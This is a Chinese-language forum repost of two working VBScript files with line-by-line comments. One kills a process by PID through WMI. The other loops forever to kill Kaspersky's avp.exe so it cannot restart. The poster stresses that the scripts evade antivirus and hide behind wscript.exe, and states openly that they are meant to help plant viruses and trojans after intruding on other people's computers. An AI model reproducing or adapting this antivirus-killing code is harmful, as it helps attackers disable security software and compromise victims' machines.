兩個簡易VBS腳本結束進程與防止進程啟動 - 『VBS作品&程序』 - 非常批處理交流論壇...
在一個百度空間看的，余弦函數 寫的，它的文章不錯，大家去看一下！
Kill.vbs用來在cmd下結束進程，Dis.vbs用來在窗口模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟件KILL掉，并且有一定的隱蔽性……看代碼?。?為注釋）
Kill.vbs：
復制內容到剪貼板
代碼:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術，我不能解釋清楚！
if ps.handle=wscript.arguments(0) then '判斷進程的PID號是否與獲得的PID號參數相等
wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程
end if
nextDis.vbs
復制內容到剪貼板
代碼:
dim y,x '不要這行也行……
do '來個死循環(huán)……一直在判斷！do ... loop內為循環(huán)體！
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解釋一樣，這也是涉及到微軟的WMI技術！
set x=y.execquery("select * from win32_process where name='avp.exe'")
'查詢語句，where后判斷avp.exe（卡巴）是否存在進程中！
'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非，把Dis.vbs結束了先……
for each i in x
i.terminate() '卡巴要啟動馬上就終止……
next
wscript.sleep
loop解釋夠清楚了，那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。
打開cmd，輸入cd\回到C盤根目錄下，輸入tasklist查看當前系統(tǒng)的進程情況，然后記下你想kill的進程的PID號，輸入cscript Kill.vbs 2200即可結束PID為2200的進程了！假如這個進程是avp.exe，那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續(xù)被啟動。Dis.vbs啟動時僅在任務管理器的進程中有wscript.exe進程項，要是不結束這個進程是無法再次啟動卡巴的。
懂得這些，為以后入侵他人電腦后上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經本人試驗成功了，繼續(xù)完善……
本站僅提供存儲服務，所有內容均由用戶發(fā)布，如發(fā)現有害或侵權內容，請
點擊舉報。
